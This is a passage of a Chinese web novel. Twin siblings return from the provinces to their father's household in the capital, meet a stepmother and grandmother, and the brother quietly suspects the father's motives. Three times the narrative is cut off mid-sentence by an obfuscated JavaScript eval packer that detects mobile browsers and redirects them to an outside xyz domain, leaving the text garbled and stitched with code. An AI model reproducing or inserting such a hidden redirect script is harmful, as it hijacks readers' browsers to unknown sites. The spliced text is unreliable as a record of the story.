全嬷嬷在她舱房里忙活了一通，该教的都教了，方才站起，道：“好了，就这样吧。” 薛嘉宜已经换好了衣服，起来送她：“嬷嬷，您……” 在船上，一等的舱房也大不到哪去，全嬷嬷转了个身，就到门边了，她正要推门出去，见薛嘉宜站起，忽又拉着她的手，压低了声音开口。 “天癸来了，这说明你不是孩子了，长大了。与兄长再要好，也该保持些距离，知道吗？” 薛嘉宜似懂非懂地点了点头。 全嬷嬷没有久留，开门出去，见薛云朔还吹着夜风等在外面，又有些不爽了，阴阳怪气地道：“大公子这是还担心，老奴会伤着大姑娘不成？” 薛云朔回头看了一眼，见薛嘉宜也从舱房里缓缓走了出来，面色好了许多。 他心情稍定，知道方才多亏全嬷嬷帮忙了，朝她躬身一礼。 “我替舍妹多谢您。”他一板一眼地道：“还有之前的冒犯……多谢嬷嬷宽宏大量，不与我计较。” “这个时候知道是冒犯了？为了你妹妹，还真是能屈能伸。” 全嬷嬷冷嗤一声，走了，一副爱答不理的模样。 薛云朔仍旧微弯着腰，目送她离开，回身时，便见薛嘉宜不知何时，悄悄走到了他的身边。 “哥。”她叫了他一声。 “嗯。”薛云朔仍有些微妙的局促，扭过头没看她，只问道：“现在……好些了吗？” 薛嘉宜轻轻点头。 她原本也还尴尬着，可不知为何，走到薛云朔身边之后，这种感觉反倒烟消云散了。 这算什么呀，她悄悄想，他是她的哥哥，彼此间更狼狈的样子也不是没见过，有什么好见怪的。 “只有一点点不舒服了。”薛嘉宜道：“全嬷嬷看着不好相处，其实人还挺好的。” 夜色已深，只有一轮亮澄澄的月亮，照在天上，照在河里。 月色如水波荡漾，也映在了薛云朔轮廓分明的侧脸上，他轻垂眼帘，幽深的瞳底显出几分懊恼来。 “当时是我莽撞，得罪了她。还好没有牵累你。” 薛嘉宜一听这话，眉头就皱起来了：“哥，你这是说的什么话呀？” 薛云朔几不可察地抿了抿唇，偏开头，避开了她端详的目光。 他没有什么表情的时候，面色很冷，光看骨相，完全瞧不出只有十六岁的样子。 他冷着脸，薛嘉宜也不怕，还往他跟前凑。 “你别这么说。”她话音真挚：“你是为了保护我，我都知道的。” 薛云朔沉默着，一如既往地寡言，只有瞳光在微微闪烁。 在亲近的人面前，薛嘉宜的话一贯很多，她也不在乎他是否回答，自顾自地说了下去。 “全嬷嬷刚刚和我说，我这算是……长大了，我还挺开心的。” 薛云朔的眼睫微动，问：“为什么开心？” 薛嘉宜扒在阑干上，支着腮看他：“我想，如果我长大了，也许就不会拖累你了。其实，我一直害怕做你的累赘。” 也许是换了个环境的缘故，这些从前没和他吐露过的话，她忽然也能说出口了。 她身体不好，总是生病，即使后来好些了，也还是要人照顾。等她年岁渐长，不再是小女孩儿的模样了，又因容貌招来了祸端。 他是她的兄长没错，可说起来，并没有真的比她年长，却为了她这个妹妹，背上了许多的责任。 为了她，早早地有了超过同龄人的沉稳，为了她，学着进山打猎，去挣药钱…… 薛嘉宜有时会想，如果没有她，也许他会更自在一点。 闻言，薛云朔皱了皱眉，脸色也更冷了一些：“谁说你是累赘了？” 薛嘉宜摸了摸自己的鼻子，“我自己觉得的。” 薛云朔一哽，眉心皱得更深了。 他大概是在思考，良久，方才缓声道：“你不是。” 他从来没把她当成过累赘。 薛嘉宜眨着和月亮一样亮的眼睛，明明很高兴听到这样的回答，却还是要扬声反问，要再确认一遍：“真的吗？” 薛云朔轻笑一声，道：“我什么时候骗过你？” 她是需要他的，而他同样需要这种被她需要的感觉。 母亲的偏心，他很早就感受到了。 他没有觉得不公平，妹妹生来体弱，多垂顾她，是一件很正常的事情。 可她在意。 她从小就黏他得紧，像是想把多从母亲那里占去的，全都补偿给他。 连吃完苦药、得到的那一块甜嘴的饴糖，她都要悄悄藏起一半，然后，塞到他嘴里。 “回去休息吧，明日再说。”薛云朔轻抬唇角，眉眼间是只会对她展露的温柔：“我方才又去问过郎中了，等船靠岸，我下去买些枣仁和红糖。” 薛嘉宜一开始还没反应过来他买糖做什么，反应过来之后，她的脸又红了。 “哥，你……”她跺了跺脚：“男女授受不亲，你不知道？” 薛云朔挑了挑眉，露出了颇为无辜的眼神：“不就是买点东西？你都叫我哥了，我管你，是天经地义的事情。” 薛嘉宜的脸又开始红得发烫了，她再不理他，扭头跑了。 薛云朔侧过身，原本是想看她回房了再回去，可目光在触及到她的背影时，倏而就凝住了。 她长高了，身形也渐渐脱出了少女的轮廓，月色掩映下，竟是已能看出柔曼的曲线。 明明朝夕相处，他从前……竟没有注意过。 想到方才她那句无心的“男女授受不亲”，薛云朔皱了皱眉。 —— 船上的生活枯燥无味，薛嘉宜翻完神农本草经，又去看新修本草，才艰难地把这段时间打发出去。 万幸的是，她的身体比七岁那年好了许多，除了刚登船时，因为突然造访的癸水难受了一阵，就再没什么不适了，连晕船都不曾。 那一晚过后，兄妹俩与全嬷嬷的关系，也微妙地好了一些，至少薛云朔见了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088588|179605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她会打招呼，全嬷嬷虽还是鼻子出气，但明显也气顺了。 运河的最后一段走完之后，他们就要换马车走官道了。 离京城一天近过一天，薛嘉宜越发紧张起来。 装饰得还算柔软的马车里，她打起车帘，往外望去，然而触目所及，却都是陌生的北地风物。 薛嘉宜心里愈发不是滋味了，随手又放下了车帘。 她转过头，却见薛云朔难得的垂着眼，一副若有所思的模样，手里还拿着个什么东西，像是块玉佩。 “这是什么？” 坐车比坐船还无聊，薛嘉宜自然要与他说话。 薛云朔答：“当年离京时，母亲给我的。” 说起来，算是遗物。 薛嘉宜微微一讶，旋即鼓着腮帮子道：“这么多年，你都没有和我说过！” 薛云朔睨她一眼，道：“母亲给我的时候说，如果以后我们不回京城，这个东西，就永远也不要拿出来。” 薛嘉宜皱了皱秀气的眉，不由道：“娘为什么要说这些？” 薛云朔没有回答，只道：“她还说，让我别告诉旁人。” 所以他一直把这件事瞒得好好的，在今日回京之前，连薛嘉宜都不知道。 薛嘉宜下意识捂住自己的嘴巴，旋即又道：“不对呀，那你现在都告诉我了。” 薛云朔把玉佩收回了袖中：“你不是旁人。” 薛嘉宜一想也是，娘是她的娘，哥哥也是她的哥哥。 随即，她郑重承诺道：“你放心，哥，我也一定不会说出去。” 薛云朔若有似无地笑了一下，袖底的手指，静静地抚摸着玉佩的纹路。 母亲最后说了什么，他依旧记得很清楚。 除了要他起誓以外，她还交代了一件事情—— 她说，此番他们回严州，就再也别回京城了，但如果还是不得已回了京城，遇到了什么危险…… 她从怀里拿出了一块还夹着体温的玉佩，交到了他手里—— 那就拿上这块玉佩，去一个地方，找一个人。 时至今日，薛云朔还是没有明白，母亲最后的举动意在何为。 难道是觉得京城、又或者薛家，对他们兄妹俩来说，会是一个危险的地方？ 他一时想不明白，只把玉佩又好好地收了起来。 …… 车轱辘驶过了城外的泥地，又驶向了青石板砖，隆隆的车声里，富贵之地的气息越来越近了。 透过车帘的缝隙，薛嘉宜已经能够看见，京城富庶繁华的一角。 她不由把腰杆挺得溜直，手本想绞自己的袖角，想到一会儿要见人，不好把衣服弄皱，还是忍住了。 一旁的薛云朔倒是没什么变化，冷峻的面孔上依旧没有表情。 他瞧了过于正襟危坐的妹妹一眼，安慰得很不像安慰：“都是一双眼睛两只腿，别紧张。” 薛嘉宜嘟嘟囔囔地道：“有谁不是一双眼睛两只腿吗？” “有啊。”他冷不丁一句：“谁没修成人形，谁就是四只腿。” 噗嗤一声，薛嘉宜叫他逗笑了。 正说着，前头的车夫长吁一声，马蹄哒哒的声音，也随之停了下来。 薛云朔垂眼，神色似乎更冷了些：“到了。” 薛嘉宜抿着唇，很轻很轻地“嗯”了一声。 全嬷嬷已经走到了车边，她打起车帘，绷着张脸道：“薛家到了，下来吧，大公子大姑娘。” 兄妹俩对视一眼，先后下了马车。 这会儿已至下午，日头明明偏斜却还是盛极，照得薛嘉宜眼前的一切都是朦胧的。 她抬起头，看到了那张写着“薛宅”的、金光闪闪的匾额。 ……好陌生。 和她记忆里的、曾经也许能被称作家的地方，已经很不一样了。 5. 005 不知为何，薛嘉宜忽而有一点瑟缩。 薛云朔看出来了，不动声色地稍上前一些，半挡在她的身前。 他的影子笼在了她身上，薛嘉宜微微一怔，旋即低下脑袋，攥了攥拳头。 没关系，她在心里告诉自己：不管到哪里，只要哥哥还在。 兄妹俩的视线并没有接触，旁人全然瞧不出来，一旁的全嬷嬷还在低声催促他们：“快些上前，该给夫人请安了。” 就在这时，等候在影壁前的薛家一行人，也施施然地走了出来。 迎在最前面的，便是薛家如今的女主人、继夫人秦淑月。 “千盼万盼，可算把你们盼回家来了。”她朝俩兄妹迎了过来，极其热络地开口道：“哎哟，这么漂亮的小姑娘，我远远一瞧，便知是宜姐儿。还有我们朔哥儿，我的天爷，怎么长这么高了。” 这位继夫人面如银盘，眉若远山，打眼一瞧，是一张看起来便十分好相处的长相，身上的华服、头顶的珠翠，丝毫没影响她散发出这种亲和的气质。 她一面说，一面微一弯腰，似乎是想上前，握住薛嘉宜的手。 但是薛嘉宜招架不住这种过度的热情，有些赧然地后退了一步。 秦淑月动作一滞，又看了一眼薛云朔，见他个头都比她高了，索性收回手作罢。 她温柔一笑，道：“忘了自报家门了，怕是你们都不记得我了。我姓秦，日后，你们唤我母亲，唤我秦夫人，都是可以的。” 薛嘉宜福了一福，道：“见过秦夫人。” 薛云朔亦是一礼。 兄妹俩行礼的时候，秦淑月不动声色地打量着他们。 二人的模样都极为周正，妹妹清丽、哥哥俊逸，单拎谁出去，都叫人挪不开眼，此刻站在一起，那更是一双金童玉女，瞧着就赏心悦目。 唯独有一点不好，秦淑月在心里暗道：不是双生子吗？怎么越长大越不像了？如果不告诉她这两人是兄妹，她是一点也瞧不出来。 她撇下心底乱七八糟的念头，给她和薛云朔介绍起身后的其他孩子。 “这是你们二弟弟和三弟弟。来，阿泓、阿泽，快给哥哥姐姐见礼。” 秦淑月膝下有一个儿子，叫薛泓，如今十二了。除了他，便是另一个姨娘所出的儿子，叫薛泽，这会儿才七岁。 还好，人不多，薛嘉宜还记得过来。 虽然已经入秋，但是天气还热着，秦淑月没拉着他们在门口盘桓太久，简单地介绍过后，便领着他们进府了。 秦淑月道：“既回来了，你们先去给长辈请安吧。” 看这架势，倒像是薛家等不及要他们回来似的。薛云朔几不可察地挑了挑眉，试探着问道：“长辈现在何处？我们风尘仆仆，可会冒犯？” “哪能呢？都是自家孩子。”秦淑月掩唇笑道：“你们父亲这会儿，应该正在上房里，和你们祖母说话。我领你们过去。” …… 越过影壁，区区十数步，就走到了正院，即可透过垂花门，看见上房了。 薛嘉宜只埋着头走路，薛云朔倒是还在分出余光，打量着他们将要留下的地方。 京城居、大不易，薛家没有积淀，如今这座宅子的位置虽好，坐落在达官贵人往来的定府大街，地方却不够大。 薛家只凭薛永年一人的官阶，能在此处置下宅邸，已经是因为他简在帝心了，没什么好挑剔的。 不过宅子再小，薛永年这个孝子也亏待不了他的老娘——他爹死得早，他全靠自己的寡妇娘拉扯长大。 板正开阔的上房里，四角都燃着香。 是檀香。 薛嘉宜鼻尖轻嗅，偷偷抬眼，便见正前方的紫檀罗汉榻上，端坐着一个鬓发花白的老妇。 这位应该就是薛老夫人。 她年岁已高，大概也疏于保养，即使眼下没什么表情，眼尾依旧可见深堑般的纹路。也许是常年礼佛，她的腕间还绕了两圈佛珠。 薛嘉宜微微有些发怵，很快又低下了头。 秦淑月带着兄妹俩走进来，旋即退后，让他二人上前请安。 薛嘉宜垂着眼帘，用余光偷偷地瞥了身旁的兄长一眼。 薛云朔回了她一个肯定的眼神。 她定下神来，没有再迟疑，和他一起，依次给上首的两个长辈请了安、磕了头。 薛老夫人冷淡的眸光落在了这双孙儿的身上。 是周正孩子，只一点不好，女孩儿瞧着太像她娘了，尤其是那双眼睛。 薛老夫人侧目看了薛永年一眼，见他神色淡淡，没有什么反应，心下稍安。 是她杞人忧天了，还以为前面那儿媳，仍旧是儿子心里过不去的坎。否则这些年，为什么一直不把两个孩子接回来呢？ 朱婉仪是家中千娇百宠的老来女，不愿嫁入高门、处处低头，是以朱翰榜下择婿，为女儿选中了那年高中探花、毫无家世背景的薛家子。薛永年自此拜入朱家门下，虽不是入赘，却不差毫分。 好在如今形势，已大为不同了…… “起来吧。”薛老夫人收回思绪，开口道：“真是实诚孩子，家里见个面，也拜得这么扎实。” 薛嘉宜听不出来这话是好是赖，所以低着脑袋不回答。 “礼不可废，这是应该的。”薛云朔适时开口道：“我们在严州，一直记挂着您和父亲，此番回来，略带了些土仪以表心意，还望您不嫌弃。” 在严州府的这些年，他算是家里唯一的男丁，性子虽冷，该懂的待人接物却是都懂的，并不是只知道拿刀架人脖子。 双生子就是有这样的好处，一个人说话了，大家都当他是给两个人说的，没人在意薛嘉宜的沉默。 她很喜欢这一点，盯着自己绣鞋的尖儿发呆。 薛老夫人不咸不淡地回道：“好孩子，有这份孝心。” 一直瞧着有些心不在焉的薛永年，听了薛云朔这番谈吐，才终于把目光投过去，正色打量起这个儿子来。 身量高挑，骨相英挺……这倒不稀奇，田间的树也能比院子里种的长得高。 真正叫他有些诧异的，是这个儿子行止间的进退和气度。 这也是朱氏留的老仆能教出来的？ 薛云朔能感受到这股来自父亲的如有实质的视线，心情微妙，说不上好。 薛永年终于开口，淡漠的视线仍旧在薛云朔身上盘桓：“这几年，都做什么了，读过书吗？” 薛云朔垂着眼答：“认得字，不怎么读书，平时常在山间打猎。” 薛嘉宜听了，连眨两下眼。 他这是在说胡话呢，哪里不读书了？ 朱家家学渊源，朱婉仪身为朱家女，学识自然也不差。她还在时，虽缠绵病榻，却也没放松过对两个孩子的启蒙。 薛嘉宜吃着苦药呢，也要眼泪巴巴地抓笔杆学写字，薛云朔就更是了。 之后他们到了严州府，住在朱家的祖宅里——朱家文风本就通达，即使人事凋敝，书房里一箱一箱的经史典籍却未蒙尘，依旧等着有心人的到来、翻阅。 一开始，薛云朔还会向乡里的老童生请教，再后来，那老童生都只摆摆手，说教不了他了。 不过，虽然心里疑惑，薛嘉宜倒也没吭声，她知道，哥哥这么回答，一定有他的道理。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088589|179605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果然，在听到薛云朔的回答之后，薛永年的脸上，露出了并不意外、却也稍显失望的神情。 他正值盛年，蓄着一把浅浅的山羊胡，看起来颇具文气，眼型是微微上扬的桃花眼，瞳孔中的颜色却是冷的。 他很快就收敛了神色，没有再问这一茬，只随意又说了两句。 另一边，薛老夫人也把薛嘉宜叫上前了些，拉上她的手，客套又空乏地问了些话。 老妇人的手背有些凉，手心却是热的，薛嘉宜在这儿杵了一会儿，渐渐也没有刚到时那么紧张了。 她努力扬起合适的笑容，一句句回答着。 旁边的秦淑月也极有眼力见，适时给搭搭话，一家人再见面的场面虽然疏离，意外的还算融洽。 口头上的客套和过问过后，薛老夫人又道：“我瞧两个孩子，都是好性的，这么多年，虽然在乡间疏于教养，瞧着也还像模像样，不愧是我薛家的孩子。” 薛云朔稍低着头，很好地克制了唇边将要泛起的冷嘲。 ……他的记性还不错。 至今仍记得，那个身为他们父亲的人，撂下的最后一句话。 薛永年自己显然是不记得了，他慢条斯理地捋了捋自己的山羊须，给今日重逢的场面敲下了句号。 “回来了，是好事。原本想着，等你们的礼数练得好些，再出来和亲友见一见，现在看，不必劳那许多时间了。” 他方才有意观察，虽说女儿瞧着有些怯生生的，但行止间也算自然，并没有他想象中那般乡下来的粗俗作派；这个儿子就更不必提了，若真要比一比，他这长在京城的两个小儿子，都要低一头。 秦淑月从前只是个妾室，能被扶正，自是极会体察丈夫的意思的。 闻言，她立马了然，试探着递话道：“那……接风洗尘的宴席……” 薛永年站了起来，道：“宜早不宜迟，就定在五天后。” —— 堂前众人很快散去。 秦淑月和兄妹俩交代了住处：“家里地方不大，宜姐儿且随我住吧，我院子里还空了个次间，已经拾掇出来了。至于朔哥儿……西厢那边，也收拾好了。” 薛家不是什么钟鸣鼎食的人家，家中也没有这房那房，人际关系尚算简单，孩子都是跟着生母住，没什么特别讲究的。 见薛嘉宜又看了一眼薛云朔，秦淑月抿嘴笑笑，道：“这亲生的兄妹，就是感情好，分开还舍不得上了。你们先带两个人，去把各自的行李分出来，今儿天色也不早了，去吧。” 薛云朔略一正色，朝她应是。 薛嘉宜也朝她福了一福。 到目前为止，相比冷着脸的父亲，这个继母还算亲切些。 秦淑月招了招手，便有几个膀大腰圆的仆妇走了出来，领兄妹俩去稍间取暂放的行李。 薛嘉宜走在薛云朔身边，凑得近了些，用只有彼此能听见的声音悄悄问：“刚刚，为什么要说没读过书呀？” 薛云朔仍在观察周遭的环境，仿佛头狼进入了一片陌生的山林，提起了十足的警惕：“初来乍到，没必要叫他们知道。” 薛嘉宜歪着头看他，小声问：“藏拙？” 薛云朔点头，又轻轻摇头。 是，也不全是。 九年间，薛家从来都对他们不管不问，没有递过一句话，更没有给过一文钱。 他们的父亲一直践行着自己当年的那句话——就当薛家没这两个种。 等到他们都长大了，却突然有了感情，想要一叙天伦？ 傻子才会信。 他觉得薛永年突然要接他和妹妹回来，定是有所图谋。 6. 006 应付完今天一起子事儿后，秦淑月回到自己的屋子里，喝了盏茶，没多歇一会儿，便把全嬷嬷叫了来。 “刚刚人多，还没来得及问你，”秦淑月道：“这回去严州府，都遇上什么事儿了？怎么回来的时间，比预计晚了许多，老爷都问过我好几次了。” 全嬷嬷连忙告饶，又解释道：“实在是路途遥远，连日里又都在下雨，难免耽搁。” 一下雨，不仅马车难行，运河风浪一大，水路也难走。 不管怎么说，反正人是顺利接回来了，秦淑月只是随口一问，并没有诘难的意思。 她略一抬手，示意全嬷嬷继续说下去。 于是，全嬷嬷便把在严州府时的经历，一五一十地都说了出来。 听到“猎户”带路那段的时候，秦淑月眼珠子都快惊掉了：“好家伙，这若是排场戏，我一定会听到下一折。” 想到那时的场面，全嬷嬷还有些心神未定。她擦了把额间的冷汗，道：“还好没出事。不过，夫人，这些事……要和老爷那边禀报吗？” 秦淑月稍加思忖，道：“老爷没问，那就算了吧。他本来不关心，说出去倒显得我这个后娘说继子小话。” 她入府的时候，前面那位朱夫人就已经析府另居了，她没怎么见过她和那双孩子。如今虽然已经从妾室扶正了，但在原配嫡妻的孩子跟前，她自觉还是有些微妙。 不过只要不影响她和她孩子的利益，她也不介意做一个慈善可亲的继母。 全嬷嬷应下。 正说着，秦淑月的亲子薛泓，撩起珠帘进来了。 这胖小子进来就是一句：“娘——我饿了，要吃宵夜。” 秦淑月翻了个白眼，毫无白日在人前的温婉，连珠炮似的斥道：“吃吃吃，就知道吃！功课做完了？” 她今日看到儿子就来气—— 那个薛云朔，也不过十六的样子，就比她的儿子大了个三四岁，瞧着不知成熟稳重了多少。 薛泓有些懵，疑惑地顿足，又叫了一声：“娘？” 一旁的丫鬟紫珠，知道夫人的气症结在哪，哄道：“夫人何必和二郎置气。都道穷人家的孩子早当家，那乡下长大的大郎不也是一样的道理。” “他毕竟要生活，能担事些也不奇怪。可大字都不识一斗的乡下小子，都没读过什么书，怎么和咱们二郎争？” 秦淑月确实在意的是这个。 姑娘家没什么好挂心的，漂不漂亮聪不聪明都无所谓，一副嫁妆嫁出去的事情。而薛永年接这个女儿回来，本也是为了联姻； 可那个前头夫人留下的儿子，就不一样了——论身份是嫡，论年纪是长，她担心他会抢走属于她亲儿子的东西。 紫珠说完，秦淑月明显气顺了些，不过还是瞪了薛泓一眼，又吩咐紫珠道：“你去，给他温点薄粥。” 她站了起来，见全嬷嬷似乎还有话想说，问道：“怎么了，嬷嬷？” 全嬷嬷回过神，摇了摇头。 她活了几十年，自认见过不少人，多少有一些识人的本领。 譬如那小姑娘，便懵懵懂懂的，一眼就望得见底。但她那兄长，凭这段时间的相处，全嬷嬷敢说，他绝对不是个简单的，更不可能没读过书。 不过话已至此，再多嘴倒显得她讨嫌，还给紫珠拆了台，于是全嬷嬷只道：“没什么，我只是困了，想眯一觉。” “舟车劳顿，可不是累了吗？” 秦淑月笑笑，亲自扶了把她的肩膀，送她出去。 —— 薛嘉宜在次间安顿了下来。 她的行李并不多，不过带了些衣物和医书，并一些零零碎碎的药材。 屋子里明显是已经收拾过的，没有灰尘，但也光秃秃的，不见什么多余的家俱摆设。 毕竟不是自己的小孩儿，秦淑月不能说不上心，却也没那么上心，能把面子功夫做得溜光，也不算对不起谁。 刚到别庄的时候，条件比眼下差多了，薛嘉宜这会儿倒没觉得被薄待。 只是安静下来之后，她还是觉得心里空空的，人也飘飘的，没有踩在地上的实感。 乡下的别庄里，并不会像这样安静。 夏日有蝉鸣，冬天有风声，还时常有鸟雀，呜呜喳喳地飞过她的窗前。 不知道洪妈妈和安伯怎样了……还有她的翘翘，不知会不会啾啾啾地想她？ 薛嘉宜一边想着，一边解了外衣，刚要躺到帐帷里，忽然听见窗棂上，传来很轻很轻的两声叩击。 她的眼睛倏而一亮，人也从床上弹了起来。 小时候，薛云朔来找她时，便会这样敲她窗户。 “哥——” 还没到窗前，薛嘉宜便惊喜地唤出了声，只是走了两步想起来自己没穿外衫，又回头去披了。 听她一个人在房间里走出了兵荒马乱的动静，薛云朔不由勾了勾唇。 吱呀一声，窗扇叫人从里头迫不及待地打开了，薛嘉宜明明高兴，却还是矜持地问道：“哥，你怎么来了？” 薛云朔唇边的笑意不是那么明显了，不过月光映照在他的背后，他的眼神还是显得很温柔。 “猜你会睡不着，过来一看，果然亮着。” 薛嘉宜这才发觉不对，他没走前头的明间过来，还出现在她的后窗…… 她抬头，看见了矮墙上缺了的那块瓦片，扬眉看他：“你是翻墙来的呀？” 翻墙之事，属实不算太光彩。薛云朔轻咳一声，掩饰了自己的尴尬：“夜深了，不好走前头来找你。” 薛嘉宜一想也是。 其实睡前，她也想去西厢那边看看兄长可安顿好了。可是这么晚了，要出去难免得和秦夫人说一声，到时候又是大张旗鼓的，还显得她添麻烦。 想到这儿，她的神情又有些黯淡了。 薛云朔把她的神情看得分明，问道：“怎么了？在这里可有人给你脸色看？” 薛嘉宜扒着窗槛，忙摇摇头，道：“没有。秦夫人很和善，她院子里的人没有刁难我的，见我都打招呼。” 可她还是觉得像寄人篱下，没了之前在别庄时的自由。 薛云朔上下扫她两眼，见她确实没有什么不对劲的地方，才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088590|179605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收回目光，道：“你若确实不愿意呆在这里，我们也可以离开。” 薛嘉宜微微瞪大了眼睛，道：“怎么离开？” 薛云朔垂眼笑笑，“我带你浪迹天涯，走不走？我们出去当游侠，一路行侠仗义，回严州府去。” 说实话，他在这座陌生的宅邸里，也没有什么安全感。 这种不安集中在，他无法掌控现在的局势，也不知道他和妹妹多年未见的父亲到底要做什么。 偏偏在京城的这套规则里，以薛永年的父亲身份，几乎可以对子女做任何事。 所以今天一路上，他一直观察着周遭的环境。 确定了府里没有什么特别守卫之后，薛云朔才稍微安心了一些——就算真的没有退路，他也可以带着她走掉。 薛嘉宜支着腮，认真思考了一会儿，才不无遗憾地感慨道：“唉……你带上我，就当不了游侠了，我不会武艺，只能给你拖后腿。” “不会。” “我受伤了，你可以给我包扎；我在前面卖艺，你可以在后面给我鼓劲，再摆个破碗。” 这人总是喜欢一本正经地说笑话，但是薛嘉宜还是很诚实地被逗笑了。 笑过之后，她的心情微妙地好了许多——又或者本就不需要什么额外的言辞，只要哥哥在这里，在她身边。 见她神色稍释，薛云朔摸了摸自己的胸口，从怀里掏了什么东西出来。 薛嘉宜定睛一看，发现是一根白色的羽毛。 薛云朔伸手，把绒绒的羽毛递到她眼前，示意她接下。 她眨眨眼，接过，捏着羽梗转了转，问道：“这是……翘翘的？” 薛云朔点头，非常严肃地道：“走之前，我和它打了个商量，本来想要它那根特别的尾巴毛，它不给，给了我这根。” 他当时就想着，大概能派上用场。 薛嘉宜爱惜地摸了摸这根羽毛，语气还有些狐疑：“真的是它给你的，不是你拔的？” 薛云朔抬起手，屈指假装弹了一下她脑门：“你那圆鸟，除了你见谁咬谁，谁敢拔？” 薛嘉宜丝毫不为有这样的逆鸟感到羞愧，她难得露出一个有点狡黠的笑容来，转过身，把宝贝小鸟的羽毛夹进了那本百草经里。 薛云朔看着她动作，紧绷的神色，也渐渐松弛了下来。 其实他过来，也是想确认她也还在。 见薛嘉宜噔噔噔地走回窗边，似乎还有话想和他说，薛云朔重新板起脸，道：“差不多了，很晚了，再有动静，该把人引过来了。” 薛嘉宜眼巴巴地看着他，还是要说：“哥，你饿不饿，我这里还有糕点。” 薛云朔挑眉看她一眼，没回答，转过身，朝她挥了挥手。 眼前的这堵矮墙，对他来说不是什么阻碍。他从旁蹬了两步，展臂一越，便轻巧地翻了过去。 能不能当游侠不好说，这么一瞧，倒有些当飞贼的潜力。 薛嘉宜抿唇，偷偷笑了。 视野里分明已经没了他的影子，她还是定定地站在窗前，良久，方才合上窗，心满意足地回去躺下。 7. 007 五日功夫，一晃就过去了。 这天清早，秦夫人身边的紫珠来了次间。 “大姑娘。”紫珠朝薛嘉宜一福：“奴婢奉夫人之命，来给您梳头。” 薛嘉宜已经起来了，这会儿正在镜前梳头，她捋着发尾站起，用才睡醒不久的细软嗓音问道：“可我已经在梳了呀。” 紫珠给了旁边分来次间的婢女玉屏一个眼神，示意她退开些，旋即又道：“今日洗尘宴，大姑娘总得打扮打扮。” 薛嘉宜抬起眼帘，便见紫珠身后还跟着两个拿衣裳端首饰的婢女。 她坐回了镜前，不明就里地道：“自家吃饭，会不会太隆重了？” 紫珠站在她身后，端详着镜中的小姑娘，笑道：“是自家人吃饭没错，可多少也会请些亲近的人家来。姑娘头回露面，自然要打扮得漂漂亮亮的，才能不叫旁人看低了去。” 薛嘉宜心想，如果因为她打扮得不够漂亮，就低看她一眼的话，这样的人，她也不想和他相处。 不过，她的眼睫闪了闪，什么也没说。 紫珠确实是长于梳头绾发的，没一会儿，便为她梳起了一个双环的望仙髻，又往髻边细细地缀了宝石花钿。 薛嘉宜从未做过如此郑重的打扮，一时有些僵硬。 从前和哥哥，和洪妈妈生活在乡间，她都是两根发带了事，至多耳上再缀颗银丁香。 她看着镜中有些陌生的自己，不由问道：“会不会有些奇怪？” 紫珠抿着嘴笑，“哪奇怪呢？奴婢看了都挪不开眼，只怕席间其他家的夫人见了，都恨不得马上把姑娘聘回去当媳妇儿。” 薛嘉宜不太喜欢这个说法。 仿佛她成了一只小小狸奴，人见她毛发顺滑，就要用两条鱼干把她聘回去了。 梳好头发，紫珠又命小婢服侍薛嘉宜更衣。 一通折腾下来，天边的太阳都已经升至了正空。 薛嘉宜略一松口气，又被带去给老夫人那边请安，忙乎完之后，天光差不多到了下午，快到主人家迎客开宴的点了。 薛家的孩子这会儿都在正院里，没有胡乱跑动。 还有几个大概是薛家相熟人家的孩子，小姑娘小郎君都有，这会儿也提前到了。 三三两两的人群里，薛嘉宜一眼就瞧见了薛云朔，提着裙裾就找他去了。 薛云朔的视线，更是早早地就落在了她身上。 她今天穿了身茜色的百迭裙，裙摆上洒了金、滚了七彩的绣线，跑起来的时候扑簌簌的，像蝴蝶，像流光。 不知是不是因为前些日子舟车劳顿，她脸颊上的婴儿肥彻底瘦了下去，今日施了粉黛，绾了稍显成熟的发髻，整个人看起来更挺拔、更明快。 他的妹妹，仿佛确实是长大了不少。 也许，他确实应该与她保持一些距离，不该像儿时一般亲昵下去了。 他微垂眉眼，眸间泛着说不清道不明的复杂神色。 薛嘉宜朗声喊他：“哥！” 薛云朔今日也换了新装，一身墨蓝圆领袍、腰佩卷云纹革带，因为还未加冠，头发只用了一根青玉的发簪半盘了起来。 他全身上下其实没有太鲜亮的颜色，很容易显得老气，但他的身形五官摆在这儿，反倒把这一身衬了起来。 薛嘉宜眨眨眼，给出了诚实的评价：“你今天可真好看。” 而且，是极其正气的那种好看。 她打量他的目光就要肆无忌惮许多了，薛云朔被她看得耳尖微红，好在秋天的太阳毒，本就把他的耳朵照得有些透明，倒是瞧不出来。 他偏开视线：“怪不得早上不见你。” 薛嘉宜可算找着地方说了：“头发梳了可久，压得我后脑勺都坠坠的。不过这根钗子我很喜欢，你看，它亮晶晶的……” 